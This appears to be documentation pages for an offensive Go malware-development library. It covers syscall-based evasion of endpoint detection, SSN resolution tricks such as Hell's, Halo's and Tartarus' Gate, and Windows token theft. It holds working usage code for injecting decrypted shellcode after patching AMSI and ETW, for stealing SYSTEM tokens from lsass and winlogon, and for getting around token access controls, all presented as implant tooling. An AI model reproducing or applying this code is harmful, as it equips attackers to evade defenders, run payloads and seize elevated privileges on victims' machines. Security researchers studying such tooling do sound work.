        B2 -->|"syscall from\nprivate memory"| B3[Kernel]
        B2 -.->|"Detectable:\nsyscall outside ntdll"| EDR2[Memory Scanner]
    end

    subgraph "Indirect Syscall"
        C1[Your Code] -->|"SSN resolved"| C2["Private stub\n(mov eax,SSN; jmp r11)"]
        C2 -->|"jmp to ntdll\nsyscall;ret gadget"| C3["ntdll.dll\n(0F 05 C3)"]
        C3 -->|"syscall from\nntdll address space"| C4[Kernel]
    end

    style EDR1 fill:#f66,color:#fff
    style EDR2 fill:#f96,color:#fff

Method Comparison

graph TD
    Q{Need to bypass<br>EDR hooks?}
    Q -->|No| WINAPI["MethodWinAPI<br>Standard, maximum compatibility"]
    Q -->|Yes| Q2{EDR hooks<br>kernel32 only?}
    Q2 -->|Yes| NATIVE["MethodNativeAPI<br>Bypass kernel32, call ntdll directly"]
    Q2 -->|No| Q3{EDR performs<br>call-stack analysis?}
    Q3 -->|No| DIRECT["MethodDirect<br>Private syscall stub"]
    Q3 -->|Yes| INDIRECT["MethodIndirect<br>JMP to ntdll gadget, cleanest stack"]

    style WINAPI fill:#4a9,color:#fff
    style NATIVE fill:#49a,color:#fff
    style DIRECT fill:#a94,color:#fff
    style INDIRECT fill:#94a,color:#fff
MethodConstantBypass kernel32Bypass ntdllSurvive memory scanSurvive stack analysisPer-call VirtualProtect
WinAPIMethodWinAPINoNoN/AN/ANo
NativeAPIMethodNativeAPIYesNoN/AN/ANo
DirectMethodDirectYesYesNoNoYes (RW↔RX)
IndirectMethodIndirectYesYesYesYesYes (RW↔RX)
IndirectAsmMethodIndirectAsmYesYesYesYesNo

MethodIndirectAsm vs MethodIndirect

Both end the same way — syscall executes inside ntdll's .text from a randomly picked syscall;ret gadget — but the path to the gadget is different.

MethodIndirect builds a 21-byte stub (mov r10,rcx; mov eax,SSN; mov r11,gadget; jmp r11) into a heap page, flips the page RW→RX→RW around SyscallN, and returns. That heap page is writable code in the implant's address space, and the protection cycle calls VirtualProtect twice per syscall — both are classic EDR signals.

MethodIndirectAsm ships the same logic as Go assembly inside the binary's .text section. SSN and gadget address are passed as register arguments — no patching, no writable code page, no VirtualProtect. The trade-off is that the stub lives at a fixed RVA inside the implant binary, so a YARA rule could match its bytes; mitigate by morphing the function or stripping symbols.

The gadget address is drawn at random per call from the full pool of 0F 05 C3 triples in ntdll (pickSyscallGadget), so successive syscalls from the same caller don't all return to the same RVA.


Usage

Basic: WinAPI (Default Fallback)

When *Caller is nil, consumer packages fall back to standard WinAPI:

import "github.com/oioio-space/maldev/inject"

// nil Caller = standard WinAPI path (no bypass)
pipe := inject.NewPipeline(nil)

Direct Syscalls with Hell's Gate

import (
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodDirect, wsyscall.NewHellsGate())
defer caller.Close()

// Call NtAllocateVirtualMemory directly -- bypasses all userland hooks
ret, err := caller.Call("NtAllocateVirtualMemory",
    uintptr(0xFFFFFFFFFFFFFFFF), // ProcessHandle (-1 = current)
    uintptr(unsafe.Pointer(&baseAddr)),
    0,
    uintptr(unsafe.Pointer(&regionSize)),
    windows.MEM_COMMIT|windows.MEM_RESERVE,
    windows.PAGE_READWRITE,
)

Indirect Syscalls with Tartarus Gate

import (
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

// Tartarus Gate handles JMP-hooked functions
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewTartarus())
defer caller.Close()

ret, err := caller.Call("NtCreateThreadEx", /* args... */)

IndirectAsm + custom hash function

import wsyscall "github.com/oioio-space/maldev/win/syscall"

// Build-time hash function — every binary built with a different `key`
// produces different funcHash constants, so static signatures on the
// well-known ROR13 values stop matching.
fnv1a := func(s string) uint32 {
    h := uint32(2166136261)
    for i := 0; i < len(s); i++ {
        h ^= uint32(s[i])
        h *= 16777619
    }
    return h
}

caller := wsyscall.New(
    wsyscall.MethodIndirectAsm,
    wsyscall.NewHashGateWith(fnv1a),
).WithHashFunc(fnv1a)

// fnv1a("NtAllocateVirtualMemory") is computed at build-time by the
// optimizer when fed a string constant — no plaintext name in .rdata.
ret, err := caller.CallByHash(fnv1a("NtAllocateVirtualMemory"), /* args */)

Both ends MUST agree: NewHashGateWith(fn) for the resolver to walk the export table, WithHashFunc(fn) for CallByHash to do the same lookup. Pass nil (or call NewHashGate()) for the default ROR13 path.

String-Free: CallByHash

import (
    "github.com/oioio-space/maldev/win/api"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHashGate())
defer caller.Close()

// No plaintext function name in the binary -- only a uint32 hash constant
ret, err := caller.CallByHash(api.HashNtAllocateVirtualMemory,
    uintptr(0xFFFFFFFFFFFFFFFF),
    uintptr(unsafe.Pointer(&baseAddr)),
    0,
    uintptr(unsafe.Pointer(&regionSize)),
    windows.MEM_COMMIT|windows.MEM_RESERVE,
    windows.PAGE_READWRITE,
)

Combined Example: Injection + Evasion + Indirect Syscalls

package main

import (
    "log"

    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/amsi"
    "github.com/oioio-space/maldev/evasion/etw"
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

func main() {
    // 1. Create an indirect syscall caller with resilient SSN resolution
    caller := wsyscall.New(wsyscall.MethodIndirect,
        wsyscall.Chain(
            wsyscall.NewTartarus(),  // try JMP-hook trampoline first
            wsyscall.NewHalosGate(), // fall back to neighbor scanning
        ),
    )
    defer caller.Close()

    // 2. Apply evasion techniques through the same caller
    evasion.ApplyAll([]evasion.Technique{
        amsi.ScanBufferPatch(),
        etw.All(),
    }, caller)

    // 3. Decrypt payload
    key := []byte("your-32-byte-AES-key-here!!!!!!")
    encPayload := []byte{/* encrypted shellcode */}
    shellcode, _ := crypto.DecryptAESGCM(key, encPayload)

    // 4. Inject using indirect syscalls for all NT calls
    inj, err := inject.NewWindowsInjector(&inject.WindowsConfig{
        Config:        inject.Config{Method: inject.MethodCreateThread},
        SyscallMethod: wsyscall.MethodIndirect,
    })
    if err != nil { log.Fatal(err) }
    if err := inj.Inject(shellcode); err != nil { log.Fatal(err) }
}

Advantages & Limitations

Advantages

  • Transparent bypass: Consumer packages pass *Caller -- same code works with WinAPI or indirect syscalls
  • RW/RX cycling: Stub pages are allocated RW, cycled to RX for execution, then back to RW -- no permanent RWX
  • Pre-allocated stubs: One VirtualAlloc per Caller lifetime, not per call -- reduces API call noise
  • Composable: Chain resolvers for maximum resilience against partial hooking

Limitations

  • Direct syscalls: The syscall instruction at a non-ntdll address is trivially detectable by memory scanners
  • Indirect syscalls: Still require a jmp gadget in ntdll -- if ntdll is entirely remapped, gadget scanning fails
  • SSN stability: SSNs change between Windows versions -- resolvers must run at runtime, not compile time
  • x64 only: The stub layouts and PEB offsets are hardcoded for x86-64

API Reference

Types

type Method int

const (
    MethodWinAPI      Method = iota // Standard kernel32/ntdll (hookable)
    MethodNativeAPI                 // ntdll NtXxx (bypass kernel32 hooks)
    MethodDirect                    // Private syscall stub (bypass all userland)
    MethodIndirect                  // Heap stub jumps into ntdll gadget
    MethodIndirectAsm               // Go-asm stub jumps into ntdll gadget — no heap stub, no VirtualProtect
)

Caller

func New(method Method, r SSNResolver) *Caller
func (c *Caller) WithHashFunc(fn HashFunc) *Caller
func (c *Caller) Call(ntFuncName string, args ...uintptr) (uintptr, error)
func (c *Caller) CallByHash(funcHash uint32, args ...uintptr) (uintptr, error)
func (c *Caller) Close()

SSN Resolvers

type SSNResolver interface {
    Resolve(ntFuncName string) (uint16, error)
}

func NewHellsGate() *HellsGateResolver
func NewHalosGate() *HalosGateResolver
func NewTartarus() *TartarusGateResolver
func NewHashGate() *HashGateResolver
func NewHashGateWith(fn HashFunc) *HashGateResolver
func Chain(resolvers ...SSNResolver) *ChainResolver

Custom hashing

type HashFunc func(name string) uint32

func HashROR13(name string) uint32 // package default, satisfies HashFunc

Pass the same HashFunc to both NewHashGateWith (so the resolver hashes export-table names with it during the PEB walk) and Caller.WithHashFunc (so CallByHash uses it for its own ntdll export lookup). Build with a per-implant fn and the well-known ROR13 constants of NT function names stop appearing in the binary's .rdata.

See also

SSN Resolvers: Hell's Gate, Halo's Gate, Tartarus Gate, HashGate

<- Back to Syscalls Overview

MITRE ATT&CK: T1106 - Native API D3FEND: D3-SCA - System Call Analysis


What SSN resolvers are NOT

[!IMPORTANT] SSN resolvers is only the syscall-number-discovery axis (concern #2 in README.md). It answers "where does the syscall service number come from when the canonical source (the unhooked ntdll prologue) is unavailable?".

It does not decide:

  • how the syscall fires once the SSN is known — that's the calling method (direct-indirect.md). HellsGate is happy to feed an SSN to MethodWinAPI — the call still goes through every hook.
  • how the Nt* export is identified — that's api-hashing.md. HashGate is the resolver that uses api-hashing internally; the rest still need a plaintext name.

Switching from HellsGate to TartarusGate does not change what hooks see; it only changes where the SSN was read. Pair the resolver with the calling method that matches your stealth target.

Primer

Every Windows kernel function has a secret number called the SSN (Syscall Service Number). When you want to call the kernel directly (bypassing EDR hooks), you need to know this number. The problem is, these numbers are not documented and change between Windows versions.

Each NT function has a secret number -- these resolvers figure out the number even when guards try to hide it. Think of it like a secret menu at a restaurant. Hell's Gate reads the number directly from the menu (if nobody has covered it up). Halo's Gate checks the neighboring items on the menu to figure out what your item's number must be. Tartarus Gate follows the "see other page" redirect that the guards placed over the menu. HashGate uses a codebook to find the menu item without even knowing its name.


How It Works

Every resolver answers the same question — "what SSN does NtXxx map to on this host?" — but with different assumptions about how tampered the in-process ntdll is.

flowchart LR
    A["Need SSN for NtXxx"] --> B[Resolver.Resolve]
    B --> C[ntdll base via<br>GetProcAddress or PEB walk]
    C --> D[Read function prologue]
    D --> E{Intact?<br>4C 8B D1 B8}
    E -->|Yes| F[SSN = bytes 4-5]
    E -->|No| G[Strategy fallback:<br>neighbors / JMP follow / hash]
    G --> F
    F --> H[caller.Call builds<br>syscall stub]
  • Hell's Gate — read mov eax, imm32 directly from the unhooked prologue. Fastest, fails on any hooked function.
  • Halo's Gate — target hooked? scan neighbours (±500 stubs × 32 bytes). Since SSNs are sequential in ntdll, an unhooked neighbour N stubs away implies target_SSN = neighbour_SSN ± N.
  • Tartarus' Gate — target patched with E9 xx xx xx xx or EB xx? follow the JMP into the EDR trampoline; most trampolines restore mov eax, imm32 before the real syscall instruction.
  • Hash-based (HashGate) — resolve the function address itself via PEB walk + ROR13 export hashing. No "NtAllocateVirtualMemory" string anywhere in the binary. Falls back to Hell's Gate for SSN extraction once the address is found.
  • Chain — compose resolvers (e.g. Tartarus → HashGate → Halo's); first success wins, giving layered resilience without reimplementing the strategies individually.

How Each Resolver Works

The ntdll Prologue

Every unhooked NT function in ntdll starts with the same byte pattern:

4C 8B D1          mov r10, rcx       ; save first argument
B8 XX XX 00 00    mov eax, <SSN>     ; load syscall number
...
0F 05             syscall            ; enter kernel
C3                ret

The SSN is the two bytes at offset +4 and +5. All resolvers ultimately extract these bytes.

Decision Tree

flowchart TD
    START["Need SSN for\nNtXxxFunction"] --> CHECK{"Is the prologue\nintact?\n(4C 8B D1 B8)"}

    CHECK -->|"Yes, bytes match"| HELLS["HellsGate\nRead SSN directly\nfrom bytes 4-5"]
    CHECK -->|"No, bytes modified"| HOOKTYPE{"What replaced\nthe prologue?"}

    HOOKTYPE -->|"E9 xx xx xx xx\n(near JMP)"| TART_JMP["TartarusGate\nFollow JMP displacement\nto trampoline code"]
    HOOKTYPE -->|"EB xx\n(short JMP)"| TART_SHORT["TartarusGate\nFollow short JMP\nto trampoline"]
    HOOKTYPE -->|"Unknown patch\n(INT3, NOP sled, etc.)"| HALOS["HalosGate\nScan neighboring stubs\n(+/- 500 * 32 bytes)"]

    TART_JMP --> TRAMP{"Trampoline has\nmov eax, imm32?"}
    TART_SHORT --> TRAMP
    TRAMP -->|"Yes, found B8 XX XX"| TART_OK["SSN extracted\nfrom trampoline"]
    TRAMP -->|"No, unrecognized code"| HALOS

    HALOS --> NEIGHBOR{"Found unhooked\nneighbor within\n500 stubs?"}
    NEIGHBOR -->|"Yes: neighbor SSN = X\nat offset N"| CALC["Target SSN =\nX +/- N"]
    NEIGHBOR -->|"No neighbors\nunhooked"| FAIL["Resolution failed"]

    HELLS --> SUCCESS["SSN resolved"]
    TART_OK --> SUCCESS
    CALC --> SUCCESS

    style SUCCESS fill:#4a9,color:#fff
    style FAIL fill:#f66,color:#fff
    style HELLS fill:#49a,color:#fff
    style HALOS fill:#a94,color:#fff
    style TART_JMP fill:#94a,color:#fff
    style TART_SHORT fill:#94a,color:#fff

Hell's Gate

The simplest resolver. Reads the SSN directly from the unhooked function prologue.

flowchart LR
    A["ntdll!NtCreateThreadEx"] --> B["Read bytes 0-7"]
    B --> C{"4C 8B D1 B8?"}
    C -->|Yes| D["SSN = bytes[4] | bytes[5]<<8"]
    C -->|No| E["ERROR: hooked"]

    style D fill:#4a9,color:#fff
    style E fill:#f66,color:#fff

When to use: You know ntdll is not hooked (e.g., you loaded a fresh copy from disk, or the target has no EDR).

Fails when: Any EDR has patched the function prologue (the most common hooking strategy).

Halo's Gate

Extends Hell's Gate by exploiting the fact that SSNs are sequential in ntdll. If NtCreateThreadEx is hooked but the function 3 stubs above it (NtCreateFile, SSN=0x55) is not, then NtCreateThreadEx's SSN is 0x55 + 3.

flowchart TD
    A["Target: NtCreateThreadEx\n(hooked, can't read SSN)"] --> B["Scan UP: addr - 32"]
    A --> C["Scan DOWN: addr + 32"]

    B --> D{"Unhooked?\n4C 8B D1 B8?"}
    C --> E{"Unhooked?\n4C 8B D1 B8?"}

    D -->|"Yes at offset -3"| F["Neighbor SSN = 0x55\nTarget = 0x55 + 3 = 0x58"]
    E -->|"Yes at offset +2"| G["Neighbor SSN = 0x5A\nTarget = 0x5A - 2 = 0x58"]
    D -->|No| H["Try next neighbor\n(up to 500)"]
    E -->|No| H

    style F fill:#4a9,color:#fff
    style G fill:#4a9,color:#fff

When to use: EDR hooks your target function but leaves some neighbors unhooked.

Fails when: All 1000 neighboring stubs (500 up, 500 down) are hooked. Extremely unlikely in practice.

Tartarus Gate

Extends Hell's and Halo's Gate by understanding JMP hooks. When an EDR patches a function with E9 xx xx xx xx (near JMP) or EB xx (short JMP), Tartarus follows the jump to the EDR's trampoline code. The trampoline typically restores the original mov eax, <SSN> instruction before executing the syscall, so Tartarus scans the trampoline for the B8 XX XX pattern.

flowchart TD
    A["Target function bytes:\nE9 4F 01 00 00 ..."] --> B["Near JMP detected"]
    B --> C["displacement = 0x0000014F"]
    C --> D["hookDest = addr + 5 + displacement"]
    D --> E["Scan trampoline\nfor B8 XX XX pattern"]
    E -->|"Found at offset +12"| F["SSN = trampoline[13] |\ntrampoline[14]<<8"]
    E -->|"Not found"| G["Fall back to\nHalo's Gate scanning"]

    style F fill:#4a9,color:#fff
    style G fill:#a94,color:#fff

When to use: Default choice for maximum resilience. Handles unhooked, JMP-hooked, and partially hooked ntdll.

Fails when: The trampoline code does not contain a recognizable mov eax, imm32 AND all neighbors are also hooked.

HashGate

Resolves the function address via PEB walk + ROR13 export hashing instead of ntdll.NewProc(name). This eliminates string-based resolution entirely -- no "NtAllocateVirtualMemory" in the binary.

Once the function address is found via hash, SSN extraction uses the same Hell's Gate prologue check.

flowchart TD
    A["Function name:\nNtCreateThreadEx"] --> B["ROR13 hash:\n0x4D1DEB74"]
    B --> C["PEB walk:\nfind ntdll base via\nmodule hash 0x411677B7"]
    C --> D["Walk PE exports:\nhash each name with ROR13"]
    D --> E{"Hash matches\n0x4D1DEB74?"}
    E -->|Yes| F["Function address found"]
    F --> G{"Prologue intact?\n4C 8B D1 B8?"}
    G -->|Yes| H["SSN extracted"]
    G -->|No| I["ERROR: hooked\n(no neighbor scanning)"]

    style H fill:#4a9,color:#fff
    style I fill:#f66,color:#fff
    style B fill:#a94,color:#fff

When to use: When you need string-free resolution. Combine with Chain() for hook resilience.

Fails when: The function is hooked (no neighbor scanning built in -- use Chain() with HalosGate for fallback).


Usage

Individual Resolvers

import wsyscall "github.com/oioio-space/maldev/win/syscall"

// Hell's Gate -- fast, simple, fails on hooked functions
hg := wsyscall.NewHellsGate()
ssn, err := hg.Resolve("NtCreateThreadEx")

// Halo's Gate -- neighbor scanning fallback
hag := wsyscall.NewHalosGate()
ssn, err := hag.Resolve("NtCreateThreadEx")

// Tartarus Gate -- JMP hook trampoline + neighbor fallback
tg := wsyscall.NewTartarus()
ssn, err := tg.Resolve("NtCreateThreadEx")

// HashGate -- string-free PEB walk resolution
hgr := wsyscall.NewHashGate()
ssn, err := hgr.Resolve("NtCreateThreadEx")

Chain: Compose Resolvers

import wsyscall "github.com/oioio-space/maldev/win/syscall"

// Try Tartarus first (handles JMP hooks), fall back to HashGate,
// then Halo's Gate as last resort
resolver := wsyscall.Chain(
    wsyscall.NewTartarus(),
    wsyscall.NewHashGate(),
    wsyscall.NewHalosGate(),
)

caller := wsyscall.New(wsyscall.MethodIndirect, resolver)
defer caller.Close()

ret, err := caller.Call("NtAllocateVirtualMemory", /* args... */)

With Injection Pipeline

import (
    "context"

    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

// Resilient resolver chain for hostile EDR environments
caller := wsyscall.New(wsyscall.MethodIndirect,
    wsyscall.Chain(
        wsyscall.NewTartarus(),
        wsyscall.NewHalosGate(),
    ),
)
defer caller.Close()

pipe := inject.NewPipeline(caller)
err := pipe.Inject(context.Background(), shellcode,
    inject.WithMethod(inject.MethodCreateThread),
)

Combined Example: Resolver Resilience Test

package main

import (
    "fmt"

    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

func main() {
    functions := []string{
        "NtAllocateVirtualMemory",
        "NtProtectVirtualMemory",
        "NtCreateThreadEx",
        "NtWriteVirtualMemory",
    }

    resolvers := map[string]wsyscall.SSNResolver{
        "HellsGate":   wsyscall.NewHellsGate(),
        "HalosGate":   wsyscall.NewHalosGate(),
        "TartarusGate": wsyscall.NewTartarus(),
        "HashGate":    wsyscall.NewHashGate(),
    }

    for name, resolver := range resolvers {
        fmt.Printf("\n--- %s ---\n", name)
        for _, fn := range functions {
            ssn, err := resolver.Resolve(fn)
            if err != nil {
                fmt.Printf("  %s: FAILED (%v)\n", fn, err)
            } else {
                fmt.Printf("  %s: SSN=0x%04X\n", fn, ssn)
            }
        }
    }
}

Advantages & Limitations

Advantages

  • Layered resilience: Chain() composes resolvers so the first successful one wins
  • JMP-hook aware: Tartarus Gate follows EDR trampolines that other resolvers cannot handle
  • String-free option: HashGate eliminates all plaintext function names
  • Zero external dependencies: Pure Go + unsafe pointer arithmetic, no CGo or assembly files
  • Thread-safe: HashGate uses sync.Once for lazy initialization; Caller uses sync.Mutex for stubs

Limitations

  • Hell's Gate: Fails on any hooked function -- too fragile for production use alone
  • Halo's Gate: Assumes 32-byte stub alignment -- non-standard ntdll layouts break it
  • Tartarus Gate: Cannot handle inline hooks that do not contain a recognizable mov eax, imm32
  • HashGate: No hook resilience -- combine with Halo's/Tartarus via Chain() for robustness
  • All resolvers: x64 only; SSN offsets and stub layouts differ on x86 and ARM64

API Reference

SSNResolver Interface

type SSNResolver interface {
    Resolve(ntFuncName string) (uint16, error)
}

Resolvers

// HellsGateResolver reads SSN from unhooked ntdll prologue.
func NewHellsGate() *HellsGateResolver

// HalosGateResolver scans neighboring stubs when target is hooked.
func NewHalosGate() *HalosGateResolver

// TartarusGateResolver follows JMP hooks to extract SSN from trampoline.
func NewTartarus() *TartarusGateResolver

// HashGateResolver resolves via PEB walk + ROR13 hashing (no strings).
func NewHashGate() *HashGateResolver

// Chain tries multiple resolvers in sequence, returning first success.
func Chain(resolvers ...SSNResolver) *ChainResolver

See also

Token Manipulation

<- Back to README

The win/token, win/impersonate, win/privilege, and privesc/uac packages provide Windows token manipulation: stealing tokens from other processes, thread impersonation, privilege escalation, and UAC bypass.


Architecture Overview

graph TD
    subgraph "win/token"
        STEAL["Steal(pid)"]
        STEALNAME["StealByName(name)"]
        STEALDUP["StealViaDuplicateHandle()"]
        OPEN["OpenProcessToken()"]
        INTERACTIVE["Interactive()"]
        PRIV["EnableAllPrivileges()"]
        TOKEN["*Token"]

        STEAL --> TOKEN
        STEALNAME --> STEAL
        STEALDUP --> TOKEN
        OPEN --> TOKEN
        INTERACTIVE --> TOKEN
        TOKEN --> PRIV
    end

    subgraph "win/impersonate"
        LOGON["LogonUserW()"]
        IMP["ImpersonateLoggedOnUser()"]
        THREAD["ImpersonateThread()"]
        THREAD --> LOGON --> IMP
    end

    subgraph "win/privilege"
        ISADMIN["IsAdmin()"]
        EXECAS["ExecAs()"]
        LOGONCREATE["CreateProcessWithLogon()"]
        RUNAS["ShellExecuteRunAs()"]
    end

    subgraph "privesc/uac"
        FOD["FODHelper()"]
        SLUI["SLUI()"]
        SILENT["SilentCleanup()"]
        EVT["EventVwr()"]
    end

    TOKEN -.->|"used by"| THREAD
    TOKEN -.->|"used by"| EXECAS

Documentation

DocumentDescription
Token TheftSteal, StealByName, StealViaDuplicateHandle
Thread ImpersonationLogonUserW + ImpersonateLoggedOnUser
Privilege EscalationExecAs, CreateProcessWithLogon, UAC bypass

Quick decision tree

You want to…Use
…steal a primary token from another PIDtoken-theft.mdSteal(pid)
…steal a token by process nametoken-theft.mdStealByName(name)
…run code as domain\user with credentialsimpersonation.mdImpersonateThread
…run code as NT AUTHORITY\SYSTEMimpersonation.mdGetSystem (winlogon clone)
…run code as TrustedInstallerimpersonation.mdGetTrustedInstaller
…enable SeDebugPrivilege (or any SeXxx) on the current tokenprivilege-escalation.mdEnablePrivilege
…spawn a child process under alternate credentialsprivilege-escalation.mdExecAs(...)
…check if I'm admin / elevated right nowprivilege-escalation.mdIsAdmin()
…trigger a UAC consent prompt and elevateprivilege-escalation.mdShellExecuteRunAs

MITRE ATT&CK

TechniqueIDDescription
Access Token ManipulationT1134Token theft and manipulation
Token Impersonation/TheftT1134.001Thread impersonation
Abuse Elevation Control Mechanism: UAC BypassT1548.002FODHelper, SLUI, SilentCleanup, EventVwr

D3FEND Countermeasures

CountermeasureIDDescription
Token Authentication and Authorization NormalizationD3-TAANMonitor token manipulation
User Account ProfilingD3-UAPDetect privilege escalation

See also

Token Stealing

<- Back to Tokens Overview

MITRE ATT&CK: T1134 - Access Token Manipulation D3FEND: D3-TAAN - Token Authentication and Authorization Normalization


Primer

Every process on Windows runs under a security token that defines who it is and what it can do. A SYSTEM process has a powerful token; a regular user process has a limited one.

Stealing someone's employee badge to access restricted areas. Token theft duplicates the security token from a high-privilege process (like lsass.exe or winlogon.exe) and uses it to create new processes or perform actions with that identity. The original process is unaffected -- you have a copy of its badge.


How It Works

Token Theft Flow

sequenceDiagram
    participant Attacker as "Attacker Process"
    participant Target as "Target Process (SYSTEM)"
    participant Kernel as "Windows Kernel"

    Attacker->>Kernel: OpenProcess(PROCESS_QUERY_INFORMATION, targetPID)
    Kernel-->>Attacker: Process handle

    Attacker->>Kernel: OpenProcessToken(handle, TOKEN_DUPLICATE|TOKEN_QUERY)
    Kernel-->>Attacker: Token handle

    Attacker->>Kernel: DuplicateTokenEx(token, TOKEN_ALL_ACCESS,<br>SecurityImpersonation, TokenPrimary)
    Kernel-->>Attacker: Duplicated token (new handle)

    Note over Attacker: Now holds a SYSTEM-level<br>primary token

    Attacker->>Kernel: CreateProcessAsUser(dupToken, "cmd.exe")
    Note over Attacker: New cmd.exe runs as SYSTEM

Three Theft Methods

flowchart TD
    START["Need a token"] --> Q1{"Know the\nprocess PID?"}

    Q1 -->|Yes| STEAL["Steal(pid)\nOpen process -> Open token -> Duplicate"]
    Q1 -->|No| Q2{"Know the\nprocess name?"}

    Q2 -->|Yes| STEALNAME["StealByName(name)\nEnum processes -> Find PID -> Steal"]
    Q2 -->|No| Q3{"Have process\nhandle with\nDUP_HANDLE?"}

    Q3 -->|Yes| DUPHANDLE["StealViaDuplicateHandle()\nDuplicate remote handle -> Duplicate token"]
    Q3 -->|No| INTERACTIVE["Interactive(type)\nWTS session -> QueryUserToken"]

    STEAL --> TOKEN["*Token"]
    STEALNAME --> TOKEN
    DUPHANDLE --> TOKEN
    INTERACTIVE --> TOKEN

    style STEAL fill:#4a9,color:#fff
    style STEALNAME fill:#49a,color:#fff
    style DUPHANDLE fill:#94a,color:#fff
    style INTERACTIVE fill:#a94,color:#fff

DuplicateHandle Bypass

The StealViaDuplicateHandle technique bypasses the token's DACL by duplicating a handle from the remote process's handle table, rather than opening the token directly:

flowchart LR
    subgraph "Standard Steal"
        A1["OpenProcess"] --> A2["OpenProcessToken"]
        A2 -->|"DACL check"| A3["Token"]
        A2 -.->|"ACCESS_DENIED\n(protected process)"| FAIL1["Failed"]
    end

    subgraph "DuplicateHandle Bypass"
        B1["OpenProcess\n(PROCESS_DUP_HANDLE)"] --> B2["NtQuerySystemInformation\n(find token handles)"]
        B2 --> B3["DuplicateHandle\n(bypass DACL)"]
        B3 --> B4["DuplicateTokenEx"]
        B4 --> B5["Token"]
    end

    style FAIL1 fill:#f66,color:#fff
    style B5 fill:#4a9,color:#fff

Usage

Steal by PID

import "github.com/oioio-space/maldev/win/token"

// Steal SYSTEM token from lsass.exe (PID 680)
tok, err := token.Steal(680)
if err != nil {
    log.Fatal(err)
}
defer tok.Close()

// Check the identity
details, _ := tok.UserDetails()
fmt.Println(details.Username) // "SYSTEM"

Steal by Process Name

// Find and steal token from winlogon.exe
tok, err := token.StealByName("winlogon.exe")
if err != nil {
    log.Fatal(err)
}
defer tok.Close()

// Check integrity level
level, _ := tok.IntegrityLevel()
fmt.Println(level) // "System"

Steal via DuplicateHandle

import (
    "golang.org/x/sys/windows"
    "github.com/oioio-space/maldev/win/ntapi"
    "github.com/oioio-space/maldev/win/token"
)

// Open process with PROCESS_DUP_HANDLE
hProcess, _ := windows.OpenProcess(
    windows.PROCESS_DUP_HANDLE, false, targetPID,
)
defer windows.CloseHandle(hProcess)

// Find token handle in remote process via NtQuerySystemInformation
// (remoteTokenHandle discovered via ntapi.FindHandleByType)
var remoteTokenHandle uintptr = 0x1234

tok, err := token.StealViaDuplicateHandle(hProcess, remoteTokenHandle)
if err != nil {
    log.Fatal(err)
}
defer tok.Close()

Token Privilege Management

tok, _ := token.Steal(targetPID)
defer tok.Close()

// Enable all privileges
tok.EnableAllPrivileges()

// Enable specific privilege
tok.EnablePrivilege("SeDebugPrivilege")

// List all privileges
privs, _ := tok.Privileges()
for _, p := range privs {
    fmt.Println(p) // "SeDebugPrivilege: Enabled"
}

// Check integrity level
level, _ := tok.IntegrityLevel()
fmt.Println(level) // "High", "System", etc.

Combined Example: Token Theft + Process Creation

package main

import (
    "fmt"

    "github.com/oioio-space/maldev/win/privilege"
    "github.com/oioio-space/maldev/win/token"
)

func main() {
    // Check if we are admin
    isAdmin, isElevated, _ := privilege.IsAdmin()
    fmt.Printf("Admin: %v, Elevated: %v\n", isAdmin, isElevated)

    // Steal SYSTEM token from winlogon.exe
    tok, err := token.StealByName("winlogon.exe")
    if err != nil {
        fmt.Println("Token theft failed:", err)
        return
    }
    defer tok.Close()

    // Enable SeDebugPrivilege on the stolen token
    tok.EnablePrivilege("SeDebugPrivilege")

    // Verify identity
    details, _ := tok.UserDetails()
    fmt.Printf("Stolen identity: %s\\%s\n", details.Domain, details.Username)

    level, _ := tok.IntegrityLevel()
    fmt.Println("Integrity:", level)

    // Use the token to list all privileges
    privs, _ := tok.Privileges()
    for _, p := range privs {
        if p.Enabled {
            fmt.Println("  [+]", p.Name)
        }
    }
}

Advantages & Limitations

Advantages

  • Three theft methods: Direct PID, by name, and DuplicateHandle bypass cover most scenarios
  • Full privilege management: Enable, disable, remove individual or all privileges
  • DuplicateHandle bypass: Circumvents token DACL restrictions on protected processes
  • Token introspection: UserDetails, IntegrityLevel, Privileges, LinkedToken
  • Detach for lifetime management: tok.Detach() transfers handle ownership to caller

Limitations

  • SeDebugPrivilege required: Stealing from SYSTEM processes requires debug privilege
  • Process must be accessible: Cannot steal from PPL (Protected Process Light) without kernel exploit
  • Token is a copy: Changes to the stolen token do not affect the original process
  • Detectable: OpenProcess + OpenProcessToken is logged by ETW and most EDR products
  • Session 0 isolation: SYSTEM tokens from Session 0 cannot interact with the user desktop

API Reference

Token Creation

func Steal(pid int) (*Token, error)
func StealByName(processName string) (*Token, error)
func StealViaDuplicateHandle(hProcess windows.Handle, remoteTokenHandle uintptr) (*Token, error)
func OpenProcessToken(pid int, typ Type) (*Token, error)
func Interactive(typ Type) (*Token, error)
func New(t windows.Token, typ Type) *Token

Token Methods

func (t *Token) Token() windows.Token
func (t *Token) Close()
func (t *Token) Detach() windows.Token
func (t *Token) UserDetails() (TokenUserDetail, error)
func (t *Token) IntegrityLevel() (string, error)
func (t *Token) LinkedToken() (*Token, error)
func (t *Token) Privileges() ([]Privilege, error)
func (t *Token) EnableAllPrivileges() error
func (t *Token) DisableAllPrivileges() error
func (t *Token) RemoveAllPrivileges() error
func (t *Token) EnablePrivilege(priv string) error
func (t *Token) DisablePrivilege(priv string) error
func (t *Token) RemovePrivilege(priv string) error

Types

type Type int
const (
    Primary       Type  // Primary token for process creation
    Impersonation Type  // Impersonation token for thread-level
    Linked        Type  // Linked (elevated) token
)

See also

Thread Impersonation

<- Back to Tokens Overview

MITRE ATT&CK: T1134.001 - Access Token Manipulation: Token Impersonation/Theft D3FEND: D3-TAAN - Token Authentication and Authorization Normalization


Primer

Token theft gives you a copy of someone else's badge. Thread impersonation goes further -- it lets a specific thread in your process temporarily wear that badge to perform actions as that user, then revert back to your original identity.

